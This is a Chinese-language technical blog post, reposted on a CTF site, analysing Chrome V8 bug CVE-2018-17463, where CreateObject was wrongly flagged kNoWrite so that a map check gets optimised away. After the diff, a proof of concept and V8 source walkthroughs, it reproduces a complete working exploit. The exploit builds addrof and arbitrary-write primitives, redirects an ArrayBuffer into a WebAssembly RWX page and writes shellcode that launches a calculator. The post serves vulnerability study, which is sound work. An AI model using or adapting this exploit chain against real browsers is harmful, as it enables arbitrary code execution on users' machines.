【技术干货】Chrome-V8-CVE-2018-17463

浏览器安全 3年前 (2021) admin
404 0 0

【技术干货】Chrome-V8-CVE-2018-17463


这是在A guided tour through Chrome’s javascript compiler上的几个cve之一,为了学习v8的相关研究,将这三者一个一个攻破,下面是对应的commit。
【技术干货】Chrome-V8-CVE-2018-17463


环境搭建

用v8 action,用法参考?

工欲善其事:Github Action 极简搭建 v8 环境


【技术干货】Chrome-V8-CVE-2018-17463

cd v8tools/dev/v8gen.py x64.debugninja -C out.gn/x64.debug d8tools/dev/v8gen.py x64.releaseninja -C out.gn/x64.release d8cd ..

漏洞分析

看下diff

diff --git a/src/compiler/js-operator.cc b/src/compiler/js-operator.ccindex 94b018c..5ed3f74 100644--- a/src/compiler/js-operator.cc+++ b/src/compiler/js-operator.cc@@ -622,7 +622,7 @@   V(CreateKeyValueArray, Operator::kEliminatable, 2, 1)                   V(CreatePromise, Operator::kEliminatable, 0, 1)                         V(CreateTypedArray, Operator::kNoProperties, 5, 1)                   -  V(CreateObject, Operator::kNoWrite, 1, 1)                            +  V(CreateObject, Operator::kNoProperties, 1, 1)                          V(ObjectIsArray, Operator::kNoProperties, 1, 1)                         V(HasProperty, Operator::kNoProperties, 2, 1)                           V(HasInPrototypeChain, Operator::kNoProperties, 2, 1)                
显然是kNoWrite引起的错误,我们看看这是什么意思,以下来自?
https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.g52a72d9904_2_100
//From src/compiler/operator.h:kNoWrite = 1 << 4,      // Does not modify any Effects and thereby                        // create new scheduling dependencies.But: Object.create(o) does have a side effect:    1. It changes the map of o    2. Properties are converted from fast to dictionary mode

意思就是在CreateObject操作中无视side-effect 。Object.create(0)后,o的map从fast mode 变为dictionary mode ,对于map的类型,dictionary mode类似于hash表存储,结构较复杂,fast mode是简单的结构体模式。

这改动会使得原本分开保存的各个属性在Object.create()后会被整理到一个大的hash表结构里。但是由于漏洞点,d8没有意识到存储方式的变化,也就是map模式的改变,猜测如果有side-effect的话是会反过来影响到原来的对象的,但是显然无视这个边后,造成了还是按原来的模式存取的情况,也就导致了按原偏移存取,最终泄露内存。

poc

function bad_create(x){    x.a;    Object.create(x);    return x.b;}
for (let i = 0;i < 10000; i++){ let x = {a : 0x1234}; x.b = 0x5678; let res = bad_create(x); if( res != 0x5678){ console.log(i); console.log("CVE-2018-17463 exists in the d8"); break; }}
【技术干货】Chrome-V8-CVE-2018-17463

源码分析

经turbolizer观察发现在generic lowering阶段会由JSCreateObject变为Call ,所以定位源码在对应阶段。
【技术干货】Chrome-V8-CVE-2018-17463

【技术干货】Chrome-V8-CVE-2018-17463

简单提一句turbolizer使用方法,首先在运行poc时加上–trace-turbo 然后运行完会在当目录下生成一些文件,打开?

https://v8.github.io/tools/v7.1/turbolizer/index.html 根据版本号的不同修改url中的vx.x。
【技术干货】Chrome-V8-CVE-2018-17463

点击右上角的3,会提示你选择文件,选择生成的json文件,可能不止一个,选一个打开就能看到这个页面,按1是重新给结点排序,按2是把所有结点显示出来,选择优化阶段的部分我就不说了,看前面对比的两图画的红框就知道。

//src/compiler/js-generic-lowering.cc:404void JSGenericLowering::LowerJSCreateObject(Node* node) {  CallDescriptor::Flags flags = FrameStateFlagForCall(node);  Callable callable = Builtins::CallableFor(  //======这里      isolate(), Builtins::kCreateObjectWithoutProperties);  ReplaceWithStubCall(node, callable, flags);}

这里把JSCreateObject用Builtins::kCreateObjectWithoutProperties代替,转过去。

//src/builtins/builtins-object-gen.cc:1101TF_BUILTIN(CreateObjectWithoutProperties, ObjectBuiltinsAssembler) {  Node* const prototype = Parameter(Descriptor::kPrototypeArg);  Node* const context = Parameter(Descriptor::kContext);  Node* const native_context = LoadNativeContext(context);  Label call_runtime(this, Label::kDeferred), prototype_null(this),      prototype_jsreceiver(this);[ ... ]  BIND(&call_runtime);  {    Comment("Call Runtime (prototype is not null/jsreceiver)");    Node* result = CallRuntime(Runtime::kObjectCreate, context, prototype, //这里                               UndefinedConstant());    Return(result);  }}=============================================================================//src/runtime/runtime-object.cc:316RUNTIME_FUNCTION(Runtime_ObjectCreate) {  HandleScope scope(isolate);  Handle<Object> prototype = args.at(0);  Handle<Object> properties = args.at(1);  Handle<JSObject> obj;[ ... ]  // 2. Let obj be ObjectCreate(O).  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(      isolate, obj, JSObject::ObjectCreate(isolate, prototype));//这里[ ... ]

不同的prototype属性对应不同的操作,我们直接看ObjectCreate。

//src/objects.cc:1360MaybeHandle<JSObject> JSObject::ObjectCreate(Isolate* isolate,                                             Handle<Object> prototype) {  // Generate the map with the specified {prototype} based on the Object  // function's initial map from the current native context.  // TODO(bmeurer): Use a dedicated cache for Object.create; think about  // slack tracking for Object.create.  Handle<Map> map =      Map::GetObjectCreateMap(isolate, Handle<HeapObject>::cast(prototype));
// Actually allocate the object. Handle<JSObject> object; if (map->is_dictionary_map()) { object = isolate->factory()->NewSlowJSObjectFromMap(map); } else { object = isolate->factory()->NewJSObjectFromMap(map); } return object;}

得到原来的map,然后根据这一map类型来调用不同函数生成新的obj,看下怎么得到的map。

//src/objects.cc:5450Handle<Map> Map::GetObjectCreateMap(Isolate* isolate,                                    Handle<HeapObject> prototype) {[ ... ]  if (prototype->IsJSObject()) {    Handle<JSObject> js_prototype = Handle<JSObject>::cast(prototype);    if (!js_prototype->map()->is_prototype_map()) {      JSObject::OptimizeAsPrototype(js_prototype);//===================这里    }[ ... ]=====================================================================//src/objects.cc:12518void JSObject::OptimizeAsPrototype(Handle<JSObject> object,                                   bool enable_setup_mode) {  if (object->IsJSGlobalObject()) return;  if (enable_setup_mode && PrototypeBenefitsFromNormalization(object)) {    // First normalize to ensure all JSFunctions are DATA_CONSTANT.    JSObject::NormalizeProperties(object, KEEP_INOBJECT_PROPERTIES, 0,//这里                                  "NormalizeAsPrototype");  }[ ... ]======================================================================//src/objects.cc:6436void JSObject::NormalizeProperties(Handle<JSObject> object,                                   PropertyNormalizationMode mode,                                   int expected_additional_properties,                                   const char* reason) {  if (!object->HasFastProperties()) return;  Handle<Map> map(object->map(), object->GetIsolate());  Handle<Map> new_map = Map::Normalize(object->GetIsolate(), map, mode, reason);//先看这里
MigrateToMap(object, new_map, expected_additional_properties);}

用原有的map在Normalize中生成新的map ,剩下的调用链。

 Map::Normalize->     Map::CopyNormalized->         RawCopy->             Map::SetPrototype->                 JSObject::OptimizeAsPrototype(没错,又调用了一次这个)

在Map::CopyNormalized中。

Handle<Map> Map::CopyNormalized(Isolate* isolate, Handle<Map> map,                                PropertyNormalizationMode mode) {  int new_instance_size = map->instance_size();  if (mode == CLEAR_INOBJECT_PROPERTIES) {    new_instance_size -= map->GetInObjectProperties() * kPointerSize;  }
Handle<Map> result = RawCopy( isolate, map, new_instance_size, mode == CLEAR_INOBJECT_PROPERTIES ? 0 : map->GetInObjectProperties()); // Clear the unused_property_fields explicitly as this field should not // be accessed for normalized maps. result->SetInObjectUnusedPropertyFields(0); result->set_is_dictionary_map(true); //=================这里 result->set_is_migration_target(false); result->set_may_have_interesting_symbols(true); result->set_construction_counter(kNoSlackTracking);[ ... ]

显然生成的map是dictionary的。

利用方法

我们首先要看泄露哪里的内存。

let a = {x1 : 1, y1 : 2, z1 : 3};a.x2 = 4;a.y2 = 5;a.z2 = 6;%DebugPrint(a);%SystemBreak();Object.create(a);%DebugPrint(a);%SystemBreak();

【技术干货】Chrome-V8-CVE-2018-17463

第一次break看到数据这么存储的,对于那三个本就存在的数据,存在结构体内部,对于后来动态增加的,结构体内有一指针指向,当然结构体内部存数据的个数是有限制的,超过这一限制的也会存到properties里。
【技术干货】Chrome-V8-CVE-2018-17463

第二次break看起来乱乱的,但是可以知道的是,没有存在结构体内部的数据了,这么说可能不太合适,知道意思就行,不理解的可以去看些讲v8对象布局的。

显然对于这个洞来说,如果通过这里达到内存泄漏,泄露的就是原来应该存在结构体内相应偏移的数据,比如本来a.x1是对应properties+0x10的位置,但是经Object.create(a)后真实位置是跑到properties里了,原来的偏移不再是a.x1。

经调试发现,此时返回的x.b的值也不是properties+0x10而是*properties+0x10,properties指向的位置的0x10偏移处才是,也就是说偏移不变但是base变了,单这么说会觉得比较鸡肋,因为这样我们似乎改不了长度,但是别忘了此时存储数据的结构是一个哈希表,不是刚开始赋值的顺序,并且这个hash表的排布还会一直变化。也就是说,数据长度够长,理论上是会有原来的偏移对应着新的数据的。

比如x.a和x.b,本来布局是a的偏移为0x10,b为0x20,经过以上变换为hash存储后,0x10偏移处存储的变为了b,0x20偏移处变为a,当然这是理想情况,实际运用时我们可以通过将所有数据对应偏移处的数据打印出来,然后看有没有以上所说的这种数据对,如果找到了,那么显然可以使两位置存储不同类型元素,一个存对象一个存浮点数,这样addrOf就构造出来了。

那么同样的,只要对应键值为ArrayBuffer的backing_store,那么我们也能直接改了,这样任意读写也有了,当然我们还需要对抗CheckMap,因为当我们map类型变了之后,map就会发生变化,这样CheckMap就会检测出来,所以回到头来还是要去掉Checkmap。

对于优化的洞,目前接触到的多是把CheckMap给消去,或者是构造出一个实际上可以越界的长度,而v8认为没越界的数(有关range范围的bug),这种一般就是把CheckBound给优化掉,对于这个显然是前者。

我们利用kNoWrite来去掉Checkmap。

// The given checkpoint is redundant if it is effect-wise dominated by another// checkpoint and there is no observable write in between. For now we consider// a linear effect chain only instead of true effect-wise dominance.bool IsRedundantCheckpoint(Node* node) {  Node* effect = NodeProperties::GetEffectInput(node);  while (effect->op()->HasProperty(Operator::kNoWrite) &&         effect->op()->EffectInputCount() == 1) {    if (effect->opcode() == IrOpcode::kCheckpoint) return true;  //消除    effect = NodeProperties::GetEffectInput(effect);  }  return false;}

从源码我们可以看到,两个检查节点中间的操作是kNoWrite时,第二个检查节点可以消去。

出自?(http://p4nda.top/2019/06/11/–CVE-2018-17463/?utm_source=tuicool&utm_medium=referral,当对象不变时,对于对象的多个成员访问,只CheckMap一次,后面的消掉。

可以构造一个函数,首先访问一次其内部变量,然后调用Object.create操作,这时再访问第二个内部变量时没有CheckMap并且因为之前提到的漏洞的原因,可以访问到非预期的位置。

剩下内容就是用wasm一把梭,这点看过其他一些v8利用的应该很熟悉。

exp

找到了现成的就不自己写了,来自于这里?
http://p4nda.top/2019/06/11/–CVE-2018-17463/?utm_source=tuicool&utm_medium=referral
function gc(){    /*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/    for(var i=0;i<((1024 * 1024)/0x10);i++)    {        var a= new String();    }}function give_me_a_clean_newspace(){    /*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/    gc()    gc()}let f64 = new Float64Array(1);let u32 = new Uint32Array(f64.buffer);function d2u(v) {    f64[0] = v;    return u32;}function u2d(lo, hi) {    u32[0] = lo;    u32[1] = hi;    return f64;}function hex(b) {    return ('0' + b.toString(16)).substr(-2);}// Return the hexadecimal representation of the given byte array.function hexlify(bytes) {    var res = [];    for (var i = 0; i < bytes.length; i++)        res.push(hex(bytes[i]));    return res.join('');}// Return the binary data represented by the given hexdecimal string.function unhexlify(hexstr) {    if (hexstr.length % 2 == 1)        throw new TypeError("Invalid hex string");    var bytes = new Uint8Array(hexstr.length / 2);    for (var i = 0; i < hexstr.length; i += 2)        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);    return bytes;}function hexdump(data) {    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')        data = Array.from(data);    var lines = [];    for (var i = 0; i < data.length; i += 16) {        var chunk = data.slice(i, i+16);        var parts = chunk.map(hex);        if (parts.length > 8)            parts.splice(8, 0, ' ');        lines.push(parts.join(' '));    }    return lines.join('n');}// Simplified version of the similarly named python module.var Struct = (function() {    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.    var buffer      = new ArrayBuffer(8);    var byteView    = new Uint8Array(buffer);    var uint32View  = new Uint32Array(buffer);    var float64View = new Float64Array(buffer);    return {        pack: function(type, value) {            var view = type;        // See below            view[0] = value;            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);        },        unpack: function(type, bytes) {            if (bytes.length !== type.BYTES_PER_ELEMENT)                throw Error("Invalid bytearray");            var view = type;        // See below            byteView.set(bytes);            return view[0];        },        // Available types.        int8:    byteView,        int32:   uint32View,        float64: float64View    };})();//// Tiny module that provides big (64bit) integers.//// Copyright (c) 2016 Samuel Groß//// Requires utils.js//// Datatype to represent 64-bit integers.//// Internally, the integer is stored as a Uint8Array in little endian byte order.function Int64(v) {    // The underlying byte array.    var bytes = new Uint8Array(8);    switch (typeof v) {        case 'number':            v = '0x' + Math.floor(v).toString(16);        case 'string':            if (v.startsWith('0x'))                v = v.substr(2);            if (v.length % 2 == 1)                v = '0' + v;            var bigEndian = unhexlify(v, 8);            bytes.set(Array.from(bigEndian).reverse());            break;        case 'object':            if (v instanceof Int64) {                bytes.set(v.bytes());            } else {                if (v.length != 8)                    throw TypeError("Array must have excactly 8 elements.");                bytes.set(v);            }            break;        case 'undefined':            break;        default:            throw TypeError("Int64 constructor requires an argument.");    }    // Return a double whith the same underlying bit representation.    this.asDouble = function() {        // Check for NaN        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))            throw new RangeError("Integer can not be represented by a double");        return Struct.unpack(Struct.float64, bytes);    };    // Return a javascript value with the same underlying bit representation.    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)    // due to double conversion constraints.    this.asJSValue = function() {        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))            throw new RangeError("Integer can not be represented by a JSValue");        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.        this.assignSub(this, 0x1000000000000);        var res = Struct.unpack(Struct.float64, bytes);        this.assignAdd(this, 0x1000000000000);        return res;    };    // Return the underlying bytes of this number as array.    this.bytes = function() {        return Array.from(bytes);    };    // Return the byte at the given index.    this.byteAt = function(i) {        return bytes[i];    };    // Return the value of this number as unsigned hex string.    this.toString = function() {        return '0x' + hexlify(Array.from(bytes).reverse());    };    // Basic arithmetic.    // These functions assign the result of the computation to their 'this' object.    // Decorator for Int64 instance operations. Takes care    // of converting arguments to Int64 instances if required.    function operation(f, nargs) {        return function() {            if (arguments.length != nargs)                throw Error("Not enough arguments for function " + f.name);            for (var i = 0; i < arguments.length; i++)                if (!(arguments[i] instanceof Int64))                    arguments[i] = new Int64(arguments[i]);            return f.apply(this, arguments);        };    }    // this = -n (two's complement)    this.assignNeg = operation(function neg(n) {        for (var i = 0; i < 8; i++)            bytes[i] = ~n.byteAt(i);        return this.assignAdd(this, Int64.One);    }, 1);    // this = a + b    this.assignAdd = operation(function add(a, b) {        var carry = 0;        for (var i = 0; i < 8; i++) {            var cur = a.byteAt(i) + b.byteAt(i) + carry;            carry = cur > 0xff | 0;            bytes[i] = cur;        }        return this;    }, 2);    // this = a - b    this.assignSub = operation(function sub(a, b) {        var carry = 0;        for (var i = 0; i < 8; i++) {            var cur = a.byteAt(i) - b.byteAt(i) - carry;            carry = cur < 0 | 0;            bytes[i] = cur;        }        return this;    }, 2);}// Constructs a new Int64 instance with the same bit representation as the provided double.Int64.fromDouble = function(d) {    var bytes = Struct.pack(Struct.float64, d);    return new Int64(bytes);};// Convenience functions. These allocate a new Int64 to hold the result.// Return -n (two's complement)function Neg(n) {    return (new Int64()).assignNeg(n);}// Return a + bfunction Add(a, b) {    return (new Int64()).assignAdd(a, b);}// Return a - bfunction Sub(a, b) {    return (new Int64()).assignSub(a, b);}// Some commonly used numbers.Int64.Zero = new Int64(0);Int64.One = new Int64(1);function utf8ToString(h, p) {  let s = "";  for (i = p; h[i]; i++) {    s += String.fromCharCode(h[i]);  }  return s;}function log(x,y = ' '){    console.log("[+] log:", x,y);   }
let OPTIMIZATION_NUM = 10000;let OBJ_LEN = 0x20;let X;let Y;// use a obj to check whether CVE-2018-17463 exists
function check_vul(){ function bad_create(x){ x.a; Object.create(x); return x.b;
}
for (let i = 0;i < OPTIMIZATION_NUM; i++){ let x = {a : 0x1234}; x.b = 0x5678; let res = bad_create(x); //log(res); if( res != 0x5678){ log("CVE-2018-17463 exists in the d8"); return; }
} throw "bad d8 version";
}

// check collision between directory mode and fast mode
function getOBJ(){ let res = {a:0x1234}; for (let i = 0; i< OBJ_LEN;i++){ eval(`res.${'b'+i} = -${0x4869 + i}; `); } return res;}function printOBJ(x){ for(let i = 0;i<OBJ_LEN;i++){ eval(`console.log("log:["+${i}+"] :"+x.${'b'+i})`); //console.log('['+i+']'+x[i]); }}function findCollision(){ let find_obj = []; for (let i = 0;i<OBJ_LEN;i++){ find_obj[i] = 'b'+i; } eval(` function bad_create(x){ x.a; this.Object.create(x); ${find_obj.map((b) => `let ${b} = x.${b};`).join('n')} return [${find_obj.join(', ')}]; } `); for (let i = 0; i<OPTIMIZATION_NUM;i++){ let tmp = bad_create(getOBJ()); for (let j = 0 ;j<tmp.length;j++){ if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){ log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory"); return ['b'+j , 'b' + -(tmp[j]+0x4869)]; } } } throw "not found collision ";}
// create primitive -> addroffunction getOBJ4addr(obj){ let res = {a:0x1234}; for (let i = 0; i< OBJ_LEN;i++){ if (('b'+i)!= X &&('b'+i)!= Y ){ eval(`res.${'b'+i} = 1.1; `); } if (('b'+i)== X){ eval(` res.${X} = {x1:1.1,x2:1.2}; `); } if (('b'+i)== Y){ eval(` res.${Y} = {y1:obj}; `); } } return res;}function addrof(obj){ eval(` function bad_create(o){ o.a; this.Object.create(o); return o.${X}.x1; } `);
for (let i = 0;i < OPTIMIZATION_NUM;i++){ let ret = bad_create( getOBJ4addr(obj)); let tmp =Int64.fromDouble(ret).toString(); if (ret!= 1.1){ log(tmp); return ret; } } throw "not found addrof obj";
}
// create primitive -> Arbitrary writefunction getOBJ4read(obj){ let res = {a:0x1234}; for (let i = 0; i< OBJ_LEN;i++){ if (('b'+i)!= X &&('b'+i)!= Y ){ eval(`res.${'b'+i} = {}; `); } if (('b'+i)== X){ eval(` res.${X} = {x0:{x1:1.1,x2:1.2}}; `); } if (('b'+i)== Y){ eval(` res.${Y} = {y1:obj}; `); } } return res;}function arbitraryWrite(obj,addr){ eval(` function bad_create(o,value){ o.a; this.Object.create(o); let ret = o.${X}.x0.x2; o.${X}.x0.x2 = value; return ret; } `);
for (let i = 0;i < OPTIMIZATION_NUM;i++){ let ret = bad_create( getOBJ4read(obj),addr); let tmp =Int64.fromDouble(ret).toString(); if (ret!= 1.2){ return ; } } throw "not found arbitraryWrite";}
// exploit
function exploit(){ var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,1,127,1,127,96,0,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,150,128,128,128,0,2,6,109,101,109,111,114,121,2,0,9,71,84,111,97,100,76,117,99,107,0,1,10,146,128,128,128,0,1,140,128,128,128,0,0,65,16,16,0,26,65,137,221,203,1,11,11,160,128,128,128,0,1,0,65,16,11,26,87,101,98,65,115,115,101,109,98,108,121,32,109,111,100,117,108,101,32,108,111,97,100,101,100,0 ]); var wasmImports = { env: { puts: function puts (index) { console.log(utf8ToString(h, index)); } } }; let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports); let h = new Uint8Array(m.exports.memory.buffer); let f = m.exports.GToadLuck;
console.log("step 0: Game start"); f(); console.log("step 1: check whether vulnerability exists"); check_vul(); console.log("step 2: find collision"); [X,Y] = findCollision();
let mem = new ArrayBuffer(1024); give_me_a_clean_newspace(); console.log("step 3: get address of JSFunciton"); let addr = addrof(f); console.log("step 4: make ArrayBuffer's backing_store -> JSFunciton"); arbitraryWrite(mem,addr); let dv = new DataView(mem); SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true)); console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr); console.log("step 5: make ArrayBuffer's backing_store -> SharedFunctionInfo"); arbitraryWrite(mem,SharedFunctionInfo_addr.asDouble()); WasmExportedFunctionData_addr = Int64.fromDouble(dv.getFloat64(0x7,true)); console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr); console.log("step 6: make ArrayBuffer's backing_store -> WasmExportedFunctionData"); arbitraryWrite(mem,WasmExportedFunctionData_addr.asDouble()); WasmInstanceObject_addr = Int64.fromDouble(dv.getFloat64(0xf,true)); console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr); console.log("step 7: make ArrayBuffer's backing_store -> WasmInstanceObject"); arbitraryWrite(mem,WasmInstanceObject_addr.asDouble()); imported_function_targets_addr = Int64.fromDouble(dv.getFloat64(0xc7,true)); console.log("[+] imported_function_targets addr :"+imported_function_targets_addr); console.log("step 8: make ArrayBuffer's backing_store -> imported_function_targets"); arbitraryWrite(mem,imported_function_targets_addr.asDouble()); code_addr = Int64.fromDouble(dv.getFloat64(0,true)); console.log("[+] code addr :"+code_addr); log("step 9: make ArrayBuffer's backing_store -> rwx_area"); arbitraryWrite(mem,code_addr.asDouble()); console.log("step 10: write shellcode for poping up a calculator"); var shellcode = Array(20); shellcode[0] = 0x90909090; shellcode[1] = 0x90909090; shellcode[2] = 0x782fb848; shellcode[3] = 0x636c6163; //xcalc shellcode[4] = 0x48500000; shellcode[5] = 0x73752fb8; shellcode[6] = 0x69622f72; shellcode[7] = 0x8948506e; shellcode[8] = 0xc03148e7; shellcode[9] = 0x89485750; shellcode[10] = 0xd23148e6; shellcode[11] = 0x3ac0c748; shellcode[12] = 0x50000030; //我改为了0x50000031 shellcode[13] = 0x4944b848; shellcode[14] = 0x414c5053; shellcode[15] = 0x48503d59; shellcode[16] = 0x3148e289; shellcode[17] = 0x485250c0; shellcode[18] = 0xc748e289; shellcode[19] = 0x00003bc0; shellcode[20] = 0x050f00; var dataview = new DataView(mem); for (var i=0; i<shellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); } f();}
exploit();

【技术干货】Chrome-V8-CVE-2018-17463


参考

https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.g52a72d9904_0_52

https://bugs.chromium.org/p/chromium/issues/detail?id=762874

http://p4nda.top/2019/06/11/%C2%96CVE-2018-17463/?utm_source=tuicool&utm_medium=referral


往期 · 推荐

【技术干货】Chrome-V8-CVE-2018-17463
【技术干货】Chrome-V8-CVE-2018-17463
【技术干货】Chrome-V8-CVE-2018-17463

【技术干货】Chrome-V8-CVE-2018-17463


【技术干货】Chrome-V8-CVE-2018-17463

原文始发于微信公众号(星阑科技):【技术干货】Chrome-V8-CVE-2018-17463

版权声明:admin 发表于 2021年11月3日 上午2:15。
转载请注明:【技术干货】Chrome-V8-CVE-2018-17463 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...